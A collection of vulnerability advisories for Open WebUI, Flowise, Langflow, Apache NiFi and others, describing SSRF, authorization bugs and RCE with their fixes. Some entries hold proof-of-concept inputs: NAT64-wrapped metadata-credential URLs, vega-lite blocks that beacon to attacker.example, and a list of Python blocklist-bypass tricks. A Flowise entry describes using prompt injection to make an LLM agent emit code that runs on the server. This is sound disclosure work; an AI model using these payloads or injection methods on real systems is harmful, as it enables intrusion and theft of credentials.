## Summary Open WebUI fetches user-supplied URLs on the server for RAG URL ingestion, URL-to-markdown conversion and web-search content retrieval, and decides whether a destination is allowed by asking whether its IP address is globally routable. That test operates on the literal IPv6 address and does not look at the IPv4 address embedded inside it. On a deployment whose network has a NAT64 gateway, any verified user can wrap an internal or cloud-metadata IPv4 address in the NAT64 well-known prefix, pass the filter, and receive the internal response body back through the API. ## Preconditions - Any verified (authenticated) user account. No admin role, no elevated permission. - Default configuration: `ENABLE_LOCAL_WEB_FETCH` off, the default `WEB_FETCH_FILTER_LIST` metadata blocklist in place. Neither prevents this, because the blocklist matches hostname strings and the NAT64 literal is not one of them. - The deployment's network must provide NAT64 translation for the well-known `64:ff9b::/96` prefix, which is the common default on IPv6-only and dual-stack cloud and Kubernetes networks. - Deployments on IPv4-only networks, or on any network without a NAT64 gateway, are not affected: the address has nowhere to route. ## Impact On an affected network a low-privilege user can read GET responses from services the server can reach but the internet cannot: cloud instance metadata including IAM role credentials, loopback-bound admin surfaces, and internal APIs in the same VPC or cluster. The response body is returned to the caller, so this is full-read, not blind. Exploitation is not universal, it depends entirely on the deployment's network providing NAT64 translation, which is why the score carries high attack complexity. Deployments without NAT64 lose nothing here. ## Fix Fixed in v0.11.0 by commit `1717b493d`. Address classification now unwraps the IPv4 embedded in IPv6 transition encodings before deciding whether a destination is global, and applies that at all three checkpoints. NAT64-wrapped public destinations continue to work. Upgrading to v0.11.0 fully resolves the issue with no configuration change. ## Root cause - `backend/open_webui/retrieval/web/utils.py` — `validate_url()`, the pre-fetch check on the submitted URL. - `backend/open_webui/retrieval/web/utils.py` — `_ssrf_safe_new_conn()` and `_SSRFSafeResolver`, the connect-time re-checks that defeat DNS rebinding. All three decided reachability from `ipaddress.ip_address(ip).is_global` applied to the literal address. That predicate answers whether an IPv6 address sits in globally-routable space, which is a different question from where the packet actually ends up once a transition gateway translates it. The NAT64 well-known prefix is by design a global prefix carrying an arbitrary IPv4 destination, so an internal target wrapped in it satisfies the check while reaching exactly what the check exists to prevent. Because the same predicate backed the connect-time re-checks, no later layer caught it either. The fix inspects every standardized transition encoding rather than only the NAT64 prefix, since the same reasoning error applies to each of them. ## Proof of concept Against the real `POST /api/v1/retrieval/process/web` flow on v0.10.2 as an authenticated user, with internal HTTP services returning a marker string. The plain forms are rejected with HTTP 400: ``` http://169.254.169.254/latest/meta-data/ -> 400 http://127.0.0.1/ -> 400 http://[::ffff:169.254.169.254]/ -> 400 http://metadata.google.internal/ -> 400 ``` The NAT64 encodings of the same targets are accepted, and the response body is returned in the `content` field: ``` http://[64:ff9b::a9fe:a9fe]/latest/meta-data/iam/security-credentials/ -> 200, marker returned http://[64:ff9b::7f00:1]/admin/internal-status -> 200, marker returned ``` NAT64 translation was modelled by binding the translated addresses locally rather than by routing through a real NAT64 gateway; everything else, including the request flow and the validation code, is the unmodified v0.10.2 path. After the fix both URLs return 400 while `http://[64:ff9b::808:808]/` (8.8.8.8, public) still returns 200, confirming no over-blocking. ## Credits - tonghuaroot — reported the transition-form gap in the address classification and supplied the fix approach.

## Summary An authenticated user whose `features.image_generation` permission has been revoked can still make the server generate images by sending the feature flag in a chat-completion request. The chat pipeline took the client-supplied `features` object at face value and never re-checked the permission that the direct image routes enforce, so the denial applied to the UI affordance but not to the server-side generation path. ## Preconditions Image generation must be enabled and a provider configured by the administrator (`ENABLE_IMAGE_GENERATION` is off by default). The per-user permission defaults to granted, so only deployments where an administrator explicitly revoked it for some users are affected. On 0.10.0 and later the caller must also set `params.function_calling` to `legacy`; on 0.9.x and earlier the legacy mode was the default, so no special parameter was needed. Deployments on native function calling are unaffected, since that path checks the permission before registering the image tools. ## Impact A user the administrator has explicitly denied image generation can consume the operator's configured provider through the chat API, spending the operator's API credits and provider quota and writing generated files to the operator's storage. Where an image is present in the conversation and image editing is enabled, the same handler reaches the image-edit provider as well. No provider credentials are exposed, and no other user's data is reachable. ## Fix Fixed in 897d69a (#26703). The legacy chat-features block now re-checks `features.image_generation` against the caller's permissions before invoking the image handler, matching the check the direct image routes and the native function-calling path already performed. ## Root cause The chat-completions endpoint stored the request's `features` object into request metadata, and `process_chat_payload` in the chat middleware dispatched to the image handler purely on the truthiness of that client-supplied flag. Permission enforcement lived on the two surfaces that were reached from the UI, the direct `/images/generations` and `/images/edit` routes and the native function-calling tool registration, and was simply absent on the legacy chat path. The flag was treated as a statement of user intent, which it is, rather than as an authorization decision, which the handler behind it made it. ## Credits @DavidCarliez, for identifying that the chat pipeline honours the client-supplied image-generation feature flag without re-checking the permission.

## Summary Open WebUI renders `vega` and `vega-lite` fenced code blocks in chat content by building a Vega view in the viewer's browser without a restricted resource loader. Any user who can place such a block where another user will see it can make that user's browser issue attacker-chosen outbound GET requests, and read back responses from same-origin or CORS-permissive targets into the rendered page. Because the request comes from the browser, server-side SSRF protections never see it. ## Preconditions Default configuration, no flags or environment variables involved: Vega blocks render unconditionally wherever chat content is displayed. The attacker needs an account that can put content in front of the victim, which covers a shared chat, a channel message, and model, RAG or tool output the attacker can influence. The victim must open the message, so this is not zero-click. Deployments where the victim's browser has no network position of interest lose little. ## Impact The victim's browser becomes a request proxy into whatever it can reach: internal hosts and ports behind the perimeter, same-site endpoints, and out-of-band beacons that confirm a chart was viewed and by whom. Where the target is same-origin or returns permissive CORS headers, the response body is pulled back into the chart in the victim's page, which turns the request into a read. Requests are GET only, and no server-side data is exposed to the attacker directly. ## Fix Fixed in 5278eb906 (#26806), released in 0.11.0. The view is now constructed with a loader whose `load` always throws and whose `sanitize` resolves the URI with the browser's own URL parser and permits only `data:` and same-origin results, so charts can only use inline `data.values`. Upgrading is sufficient; no configuration change is needed. ## Root cause - `src/lib/utils/index.ts` — `renderVegaVisualization` - `src/lib/components/chat/Messages/CodeBlock.svelte` — renders `vega`/`vega-lite` blocks The renderer treated a chart spec as trusted authored content rather than as untrusted chat text, so it accepted Vega's default loader. That loader has two separate ways out of the page: `data.url` and topojson/geo sources are fetched at view construction, and image marks pass their `url` through `sanitize` and are written into the output SVG as `<image href>`, which the browser fetches when the chart is displayed. The second path survives downstream SVG sanitization because the URL is a legitimate attribute value, not markup. ## Proof of concept Post either block into a chat, channel message, or shared chat that the victim will open. Neither requires the victim to interact beyond viewing. ```vega-lite {"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"url":"http://attacker.example/probe?a=1"},"mark":"point"} ``` ```vega-lite {"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"values":[{"x":1}]},"mark":{"type":"image","url":"http://attacker.example/beacon.png"},"encoding":{"x":{"field":"x"}}} ``` The first fires at view construction; the second fires when the rendered SVG is displayed. Both are visible as outbound requests in the victim's network log and in the attacker's listener. After the fix neither request is made and inline `data.values` charts still render. ## Credits - @Zureno — reported the issue and the `data.url` path. - @Classic298 — identified the image-mark sink and authored the fix.

## Summary `DELETE /api/v1/chats/{id}` cancelled a chat's in-flight tasks before it checked whether the caller was allowed to delete that chat. Any authenticated user who knew another user's chat id could therefore abort that user's running model response, title generation or tag generation. The deletion itself was still refused, so the only missing control was on the cancellation side effect. ## Preconditions Default configuration, no special deployment shape. The attacker needs a normal account with the default `user` role and nothing else: the `chat.delete` permission is not required, and revoking it does not prevent the cancellation. The attacker also needs the victim's chat id, which is returned by the read-only shared-chat endpoint when a chat or a folder has been shared with them - otherwise enumerating the chat id requires guessing the chat id or brute forcing it, and the victim must have a generation running at that moment. ## Impact A user can repeatedly interrupt another user's generations without any write access to the target chat. Nothing is deleted, modified or disclosed, and the victim can simply regenerate, so the effect is limited to availability of in-flight responses. Because the attacker only needs a chat id, the interruption can be scripted and repeated for as long as the id stays valid. ## Fix Fixed in https://github.com/open-webui/open-webui/pull/27006, released in 0.11.0. The handler now resolves and authorizes the chat first and only cancels tasks and deletes once the caller is an admin or a permitted owner; an unauthorized caller gets 401 or 404 with no cancellation. ## Root cause Affected component: `delete_chat_by_id` in `backend/open_webui/routers/chats.py`, serving `DELETE /api/v1/chats/{id}`. Affected setup: every build from 0.9.6 up to and including 0.10.2. The cancellation was written as a cleanup step for the delete that follows it, and it was placed at the top of the handler so that it would run before the chat row disappeared. That put an unauthenticated-by-ownership side effect ahead of every check in the function: the admin branch, the `chat.delete` permission check, and the owner lookup all ran afterwards, so their outcome could no longer affect whether the tasks were stopped. The dedicated task-stop endpoint already verified ownership before calling the same helper, so the intended ordering existed elsewhere in the codebase. ## Proof of concept Against a 0.10.2 instance with two accounts, a victim admin and an attacker holding the default `user` role, and an upstream that streams slowly: 1. As the victim, start a generation in a chat and confirm `GET /api/tasks/chat/{chat_id}` reports one active task. 2. As the attacker, confirm `GET /api/v1/chats/{chat_id}` returns 401, then send `DELETE /api/v1/chats/{chat_id}`. 3. The delete is refused with 404, the chat still exists, but the victim's task list is now empty and the assistant message is marked done mid-generation. A control run without step 2 keeps generating. Repeating step 2 with the `chat.delete` permission revoked for the `user` role returns 401 and still cancels the task. The same sequence against 0.11.0 leaves the task running. ## Credits @GabrielGomesAL, who reported the missing authorization on the chat delete endpoint.

## Summary The OAuth token exchange endpoint accepts a raw provider access token and validates it by calling the provider's userinfo endpoint. A userinfo endpoint reports only that a token is valid, never which OAuth client it was issued to, and the endpoint performed no audience or client check of its own. Anyone holding an access token minted for any client registered with the same provider could exchange it for an Open WebUI session as that token's user, including applications the operator does not control and has never authorised. ## Preconditions - `ENABLE_OAUTH_TOKEN_EXCHANGE=True`. Disabled by default, so a stock deployment is not affected. - The victim already has an Open WebUI account. The endpoint does not create users. - The attacker can obtain a provider access token for the victim, typically by having them sign in to an unrelated OAuth application on the same provider. On public providers, registering that application is self-service. - The subject identifier the attacker's client observes matches the one stored on the victim's account. Google, GitHub, Okta and self-hosted OIDC servers in default configuration issue a subject that is stable across all clients and are directly affected. Microsoft Entra ID issues per-application subjects, so the match fails there unless `OAUTH_MERGE_ACCOUNTS_BY_EMAIL` is enabled or `OAUTH_SUB_CLAIM` points at a globally stable claim such as `oid`. - `OAUTH_ALLOWED_DOMAINS` is enforced on this endpoint but does not constrain the attack, because the impersonated user is a legitimate member of an allowed domain. ## Impact Full account takeover of any user whose provider access token the attacker can obtain. The endpoint applies no role gating, so the issued session carries the target account's role, and a targeted administrator yields an administrator session. The victim never interacts with Open WebUI and has no opportunity to notice. The standard OAuth callback is not affected. It obtains its token through an authorization-code exchange authenticated with the client secret, so the token is inherently bound to Open WebUI's own client, and the ID token's audience is validated. ## Fix Fixed in 0.11.0. The endpoint now resolves which OAuth client a presented token was issued to through RFC 7662 token introspection, and rejects tokens minted for any client not named in `OAUTH_TOKEN_EXCHANGE_TRUSTED_CLIENT_IDS`. Only the introspected `client_id` is honoured; the `aud` field is ignored, because it names intended resource servers rather than the issuing client and several providers let any client place another client's identifier there. **Upgrading alone is not sufficient.** The check is opt-in: with `OAUTH_TOKEN_EXCHANGE_TRUSTED_CLIENT_IDS` unset the endpoint behaves as it did before, so any deployment running with `ENABLE_OAUTH_TOKEN_EXCHANGE=True` must also set that list. It is a deploy-time environment variable and cannot be changed from the admin interface, so a compromised administrator session cannot widen the trust boundary at runtime. Providers that do not implement RFC 7662 introspection, including Google, Microsoft Entra ID, GitHub and Feishu, cannot be restricted this way at all. **On those, token exchange has no safe configuration and should be left disabled.** ## Root cause - `backend/open_webui/routers/auths.py`, `token_exchange` (`POST /api/v1/auths/oauth/{provider}/token/exchange`) Token exchange skips the authorization-code step entirely and trusts a token supplied by the caller. The only validation performed was a userinfo lookup, which answers whether a token is valid rather than who issued it, so the endpoint had no way to distinguish a token minted for Open WebUI from one minted for an unrelated application. ## Proof of concept Reproduced against a mock OIDC provider serving two tokens for the same end user, minted for two different clients, with `OAUTH_ALLOWED_DOMAINS=corp.example` actively enforced. | Case | Token | Result | | --- | --- | --- | | Control | not recognised by the provider | 400 rejected | | Outsider's own account, non-allowed domain | minted for `attacker-evil-app` | 403 blocked by domain allowlist | | Victim's account, foreign client | minted for `attacker-evil-app` | 200, session issued for `[email protected]` | The issued session token was confirmed usable: `GET /api/v1/auths/` returned 200 authenticated as the victim. The provider log recorded the token as minted for `client_id='attacker-evil-app'`, while Open WebUI's own client is `openwebui-client-id`. ## Credits Reported by @Classic298.

## Summary On standard channels, the message update and delete handlers accepted any caller holding write access on the channel, without checking that the caller wrote the message. Write access is the same grant a member needs in order to post, so every ordinary participant in a shared channel could rewrite or permanently delete any other participant's messages. The group and direct message branch of the same handlers enforced authorship; the standard branch did not. ## Preconditions Channels are disabled by default and must be enabled by an administrator (`ENABLE_CHANNELS`). The channel must be a standard channel; group and direct message channels are not affected. The attacker is any authenticated account with role `user` that holds write access on the channel, whether granted publicly, per user, or through a group. No ownership of the channel, channel manager role, or elevated role is required. Channel and message ids are returned by the listing endpoints the member can already call. ## Impact An ordinary member could replace the content of another member's message while the message stayed attributed to its original author, and could attach arbitrary `data` and `meta` payloads to it through the same form. The member could also permanently delete other members' messages, up to the entire visible history of the channel. This is an integrity and availability loss against other users of the channel: content can be forged under a colleague's name and records can be destroyed. It reaches no further than channels the attacker already has write access to, and it discloses nothing the attacker could not already read as a member. Pinning is unaffected and is not part of this issue. ## Fix Fixed in `c609ec411` (#27197), released in 0.11.0. Both handlers now apply the same authorship check the group and direct message branch already used, so a non-admin caller can act only on their own messages regardless of write access. Upgrading fully resolves it, with no configuration change required. ## Root cause Affected components: - `backend/open_webui/routers/channels.py`, `update_message_by_id` (`POST /api/v1/channels/{id}/messages/{message_id}/update`) - `backend/open_webui/routers/channels.py`, `delete_message_by_id` (`DELETE /api/v1/channels/{id}/messages/{message_id}/delete`) Both handlers branch on channel type, and the two branches asked different questions. The group and direct message branch asked whether the caller wrote the message. The standard branch asked whether the caller is allowed to write in the channel, which is a permission level, not an identity. Those are not interchangeable: posting a message runs that same write check, so the grant that lets a member participate was silently accepted as the grant to rewrite and remove everyone else's content, and every ordinary participant satisfied it. The model layer looks messages up by primary key alone, so the router branch was the only authorization that ran. ## Proof of concept Reported with a script that runs end to end against a live instance. An administrator seeds the accounts and a standard channel granting read and write; everything after that is performed by a separate plain `user` account in no group that owns neither the channel nor any of the messages. That account edits a victim's message, attaches structured payloads to it, and deletes a second victim message, all returning 200, with the channel history dumped before and after. Controls in the same run confirm the scoping: a read-only member is refused with 403, and a cross-member edit on a group channel is refused with 403. ## Credits @Foxer131 — reported the missing authorship check on the standard-channel update and delete handlers.

## Summary With the Playwright web loader enabled, Open WebUI opens user-submitted URLs in a real browser and validates the destination address before allowing the request. That check only ran for the top-level page request. Every other request the page issued was passed through unvalidated, so a page could use its own JavaScript to reach addresses the validation exists to block. Because the loader returns the page's final DOM to the requesting user, anything the page read back from those addresses ends up in the web-search or RAG output. ## Preconditions - `WEB_LOADER_ENGINE=playwright`. This is not the default; deployments on the default web loader are unaffected. - A reachable Playwright browser, either local or via `PLAYWRIGHT_WS_URL`. - Any authenticated user who can submit a URL for ingestion or trigger a web search. No administrator role is required. - Something worth reading on a network the browser can reach. A deployment whose browser container has no route to internal services loses nothing here. ## Impact An authenticated user can read HTTP responses from services reachable by the browser process: cloud instance metadata, other containers on the same network, and internal APIs bound to private addresses. The content is returned to the user through the normal web-search or document-ingestion result, so this is a read primitive, not a blind one. It confers no write access and no availability impact, and it does not extend beyond what the browser's network position already allows. ## Fix Fixed in 0.11.0 by commit `bef63a2ae`. Every intercepted request is now validated, fetched with redirects disabled, re-validated on each redirect hop and then fulfilled, so neither a sub-resource nor a redirect can land on a non-global address. The same change blocks the two paths that never reached the interceptor at all: service-worker requests, via `service_workers="block"`, and WebSocket connections, via a route handler that never connects upstream. Upgrading to 0.11.0 fully resolves the issue; no configuration change is required. ## Root cause Affected component: `SafePlaywrightURLLoader` in `backend/open_webui/retrieval/web/utils.py`, in both the sync and async request interceptors. Affected setup: only builds running the Playwright loader engine. The interceptor was written to guard navigation, and its first action was to return early for any request whose resource type was not `document`. The intent was that only the page the user asked for needs address validation, but a browser page is not a single request: once the validated document loads, its scripts issue further requests under the page's own control, and those never reached the validation. The address check was therefore applied to the one request the attacker did not need to control, and skipped on every request they did. ## Proof of concept Reported against 0.10.2 by driving the interceptor directly with stand-in route and request objects, one call per resource type, against `http://169.254.169.254/latest/meta-data/`. The `document` type is aborted; every other type is continued unvalidated. The browser and the network request were seeded rather than driven end to end; the code path exercised is the one the browser reaches for each sub-resource. ## Credits - **@edwardav970** — identified that address validation was applied only to the top-level document request, leaving every sub-resource type unvalidated.

### Summary The OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is in `WHITELIST_URLS`, meaning it requires **no authentication**. It decrypts the stored credential (containing `clientId`, `clientSecret`, `refresh_token`), sends a refresh request to the configured OAuth provider, and returns the new `access_token` directly in the response body. ### Root Cause ```typescript // packages/server/src/routes/oauth2/index.ts:393-402 res.json({ success: true, message: 'OAuth2 token refreshed successfully', credentialId: credential.id, tokenInfo: { ...tokenData, // ← includes access_token! has_new_refresh_token: !!tokenData.refresh_token, expires_at: updatedCredentialData.expires_at } }) ``` Whitelist entry at `packages/server/src/utils/constants.ts:40`. ### Attack Chain 1. Attacker obtains a credential ID (via Finding 2 / public chatflow leak, or enumeration) 2. Attacker calls `POST /api/v1/oauth2-credential/refresh/:credentialId` (no auth required) 3. Server decrypts credential, sends refresh request to OAuth provider with user's `client_secret` 4. Server returns the new `access_token` in the response to the attacker 5. Attacker uses the token to access the victim's connected service (Google, Microsoft, etc.) ### Docker Validation `POST /api/v1/oauth2-credential/refresh/fake-uuid` returns `{"message":"Credential not found"}` (not 401 Unauthorized), proving the endpoint processes the request without authentication. ### Impact - OAuth2 access token theft for any connected service - Full access to the victim's third-party accounts (Google, Microsoft, GitHub, etc.) - Client secret transmitted to OAuth provider during refresh - Can also be used for DoS by exhausting refresh token quota ### Suggested Fix Remove the refresh endpoint from `WHITELIST_URLS` and require authentication: ```typescript // Remove from WHITELIST_URLS in constants.ts // Add authentication check in the route handler ``` --- ## Credits - Shinobi Security - https://github.com/shinobisecurity

-- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise -- VULNERABILITY DETAILS ------------------------ * Version tested: 3.1.1 * Installer file: https://github.com/FlowiseAI/Flowise (npm install [email protected]) * Platform tested: Ubuntu 25.10 --- A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server. ``` This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability. The specific flaw exists within the run method of the CSV_Agents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account. ``` ### Analysis When a user makes a query against a chatflow using the CSV Agent node, the `run` method of the `CSV_Agents` class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user's input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named `pythonCode`. The method then attempts to validate this value using `validatePythonCodeForDataFrame` from `packages/components/src/pythonCodeValidator.ts` before evaluating it in pyodide. The validator relies on a static regex blocklist. It can be bypassed using obfuscation techniques including string concatenation to reconstruct forbidden identifiers, `chr()` encoding, aliasing of dangerous builtins, `__getattribute__` with concatenated attribute names, frame object inspection, MRO traversal, `df.query()` expression evaluation, and decorator syntax to invoke `exec` indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces. From `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`: ```ts let pythonCode = '' if (dataframeColDict) { const chain = new LLMChain({ llm: model, prompt: PromptTemplate.fromTemplate(systemPrompt), verbose: process.env.DEBUG === 'true' ? true : false }) const inputs = { dict: dataframeColDict, question: input // user-controlled input substituted into prompt } const res = await chain.call(inputs, [loggerHandler, ...callbacks]) pythonCode = res?.text // LLM response assigned to pythonCode pythonCode = pythonCode.replace(/^```[a-z]+\n|\n```$/gm, '') } let finalResult = '' if (pythonCode) { const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied if (!validation.valid) { throw new Error( `Generated code was rejected for security reasons (${ validation.reason ?? 'unsafe construct' }). Please rephrase your question to use only pandas DataFrame operations.` ) } try { const code = `import pandas as pd\nimport numpy as np\n${pythonCode}` finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide } catch (error) { throw new Error(`Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}"`) } } ``` An unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely. Eight bypass variants were demonstrated against the validator: | Variant | Technique | Bypasses | |---------|-----------|----------| | 0 | `@exec` decorator with string-concatenated `__import__` | `/\bexec\s*\(/`, `/\b__import__\s*\(/` | | 1 | `eval` aliased to a variable, payload chr()-encoded | `/\beval\s*\(/`, `/\bimport\b/` | | 2 | `df.query()` with chr()-encoded `@__builtins__.__import__` | `/\b__builtins__\b/`, `/\b__import__\s*\(/` | | 3 | MRO traversal + `__getattribute__` + `__subclasses__` -> `BuiltinImporter.load_module` | `/\b__class__\b/`, `/\b__subclasses__\s*\(/`, `/\b__mro__\b/` | | 4 | Generator frame inspection via `gi_frame.f_globals['__loader__']` | `/\b__loader__\b/`, `/\b__globals__\b/` | | 5 | Exception traceback frame walk to `f_builtins['__import__']` | `/\b__globals__\b/`, `/\b__import__\s*\(/` | | 6 | `__build_class__.__self__.__getattribute__('__import__')` | `/\b__import__\s*\(/` | | 7 | `vars` aliased to a variable, `__builtins__` accessed via dict key | `/\bvars\s*\(/`, `/\b__builtins__\b/`, `/\b__import__\s*\(/` | ### Repro The proof of concept (`poc.py`) has three modes of operation: **mode = "server"**: Starts a malicious server that responds to "/api/chat" requests with a JSON object containing an LLM response with the selected attack payload. **mode = "chatflow"**: Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload. **mode = "prompt_injection"**: Sends a prompt injection payload directly to an existing chatflow's prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used. ``` python3 poc.py --mode [server OR chatflow OR prompt_injection] [--user <USER> --passwd <PASSWORD> --host <HOST> --r_host <R_HOST> --r_port <R_PORT> --l_port <L_PORT> --port <PORT> --cmd <CMD> --attack <ATTACK> --chatflow_id <CHAT_ID>] ``` -- CREDIT --------------------------------------- This vulnerability was discovered by: Dre Cura (@dre_cura) of TrendAI Research

IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments

Authentication bypass using an alternate path or channel vulnerability in N-able N-central allows Authentication Bypass. This issue affects N-central: through 2026.1.

A vulnerability in Tenable Sensor Proxy allows a remote attacker to execute code with elevated privileges by inducing an operator to connect the sensor to an attacker-controlled host.

Insufficient verification of data authenticity in Caliptra Core ROM and Core Firmware (validate_debug_unlock_token()) in subsystem mode allows an attacker with access to the integrator's debug unlock signing service to unlock production debug on an unintended device by presenting a valid token issued for a different device sharing the same debug unlock key hash. The 384-bit challenge nonce continues to prevent replay of previously issued tokens. Practical impact is limited to loss of per-device scope enforcement within a set of devices that share the same unlock authority by design; it does not enable debug unlock on devices outside that set. This issue affects Core ROM: 2.0.0 through 2.0.2, 2.1.0 through 2.1.1; Core Firmware: 2.0.0 through 2.0.1, 2.1.0.

Time-of-check time-of-use (TOCTOU) vulnerability combined with missing input validation in Caliptra Core ROM (UpdateResetFlow::run()) in subsystem mode allows a compromised local attacker to silently bypass secure boot by supplying an AXI staging address that is not validated against the strap-configured SS_EXTERNAL_STAGING_AREA_BASE_ADDR, enabling firmware to be modified between verification and loading into ICCM. Attestation continues to report the originally verified image digest, masking the compromise. Exploitation requires a compromised MCU firmware with AXI manager access to unprotected SRAM reachable by Caliptra. This issue affects Core ROM: 2.1.0 through 2.1.1.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, several organization billing endpoints in packages/server/src/enterprise/routes/organization.route.ts and packages/server/src/enterprise/controllers/organization.controller.ts accept attacker-controlled Stripe subscriptionId values without verifying that the identifier belongs to the authenticated user's organization. An authenticated attacker can perform unauthorized Stripe subscription operations on other tenants, including changing subscription plans or modifying seat quantities, resulting in financial impact and service disruption. This issue is fixed in 3.1.3.

Apache NiFI 1.10.0 through 2.10.0 provide a Parameter Context update REST API method that does not enforce authorization checking on components referencing Parameter values. Updating a Parameter Context can change parameter values that affect referencing components, but framework authorization was limited to read and write privileges on the Parameter Context itself. As a result of the missing authorization, an authenticated user authorized to modify a Parameter Context, but not authorized on referencing components, could alter Parameter values affecting those components. In deployments where a Parameter value contains executable scripting content, updating a Parameter can result in code execution during automatic component validation, without starting the referencing component. The impact was limited to stopped components by existing verification checks, and the issue applies only to deployments that use component-level authorization policies. Upgrading to Apache NiFi 2.11.0 is the recommended mitigation, which aligns the Parameter Context update method authorization with other methods, adding authorization checking on affected components.

Authorization handling for Parameter Context validation requests in Apache NiFi 1.10.0 through 2.10.0 allows clients with read access to submit proposed Parameter values. The proposed values override current configuration, enabling users with read access to invoke predefined component validation methods with alternative settings. Apache NiFi installations that do not implement different levels of authorization for viewing and modifying Parameter Context configuration are not subject to this vulnerability. Upgrading to Apache NiFi 2.11.0 is the recommended mitigation, requiring write access to submit Parameter Context validation requests.

Apache NiFi 2.0.0 through 2.10.0 support creating, reading, and deleting Assets associated with Parameter Contexts through the REST API. The framework authorizes asset deletion against the owning Parameter Context using the supplied Parameter Context Identifier and Asset Identifier. The framework performed authorized based on the supplied Parameter Context Identifier without verifying the requested Identifier against the stored Identifier. Apache NiFi installations that do not implement different levels of authorization across Parameter Contexts are not subject to this vulnerability, because the framework enforces write permissions as the security boundary. Upgrading to Apache NiFi 2.11.0 is the recommended mitigation, which verifies Parameter Context ownership of the requested Asset before deletion using the same strategy applied to Asset read operations.

Apache NiFi 1.5.0 through 2.10.0 support gzip-encoded HTTP requests for the application REST API using a Jersey encoding filter. The framework enforced a configurable maximum request size on the compressed payload rather than the decompressed output, allowing a malicious client to send crafted requests that could consume excessive amounts of memory. Upgrading to Apache NiFi 2.11.0 is the recommended mitigation, which relocates response compression to Jetty Server and disables decompression of gzip-encoded HTTP requests.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the PUT /api/v1/executions/:id endpoint in packages/server/src/routes/executions/index.ts lacks the checkAnyPermission() middleware that protects other execution endpoints. Any authenticated user, regardless of assigned permissions, can modify execution state, data, and metadata of any execution in their workspace, enabling privilege escalation and manipulation of workflow execution results. This issue is fixed in 3.1.3.

Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise injects $vars into the code execution sandbox without requiring variables:view, bypassing the permission-protected Variables API. Variables for the active workspace are fetched at packages/components/src/utils.ts and runtime variables are resolved from server environment variables, while the official variables route enforces variables:view. A user or API key that is denied variables:view can call /api/v1/node-custom-function and receive $vars pre-populated with all variables for the workspace, including Variable.name to Variable.value static variables and Variable.name to process.env[Variable.name] runtime variables. This can expose secrets such as database passwords, JWT secrets, SMTP passwords, and cloud keys, depending on the workspace Variables configuration. This issue is fixed in version 3.1.3.

An improper authentication vulnerability in the "social_login.cgi" CGI program in Zyxel WAX650S firmware versions through 7.10(ABRM.4)C0 could allow an attacker on the WLAN to bypass captive portal authentication.

Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise has three OAuth2 credential endpoints that look up credentials by id alone with no workspaceId filter. The authorize, callback, and refresh handlers query the Credential table by id only; callback and refresh are whitelisted from authentication. This allows any authenticated user to initiate OAuth2 flows against credentials belonging to other workspaces, allows an unauthenticated attacker to forge OAuth2 callbacks to overwrite tokens in any credential, and allows an unauthenticated attacker to refresh tokens for any credential. The affected routes include /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>, /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>, and /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>. This issue is fixed in version 3.1.3.

Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise GET /api/v1/upsert-history returns the entire server-wide upsert history instead of being scoped to the requesting user, tenant, or workspace. The response can exceed 100MB and includes sensitive configuration data, including Vector Store settings such as Qdrant Server URL and collection name. The observed behavior indicates missing or insufficient authorization checks, workspace/project/tenant isolation, and pagination or limits, exposing integration parameters and infrastructure details that may enable further targeted attacks. This issue is fixed in version 3.1.3.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise openai-assistants-vector-store endpoints accept a client-controlled credential parameter and load credentials by id without checking whether that credential belongs to the caller workspace. Route permissions assistants:* only check feature access. The controller passes req.query.credential straight to the service, and the service uses findOneBy({ id: credentialId }), decrypts the credential, and calls OpenAI APIs without a workspaceId check. If an attacker knows another workspace credentialId, the attacker can use that workspace OpenAI key, read, modify, or delete victim vector stores and files, cause billing impact on the victim OpenAI account, and violate multi-tenant boundaries. This issue is fixed in version 3.1.3.

A post-authentication command injection vulnerability in the "export-cgi" CGI program in Zyxel WAX650S firmware versions through 7.10(ABRM.4)C0 could allow an authenticated attacker with administrator privileges to execute OS commands on an affected device.

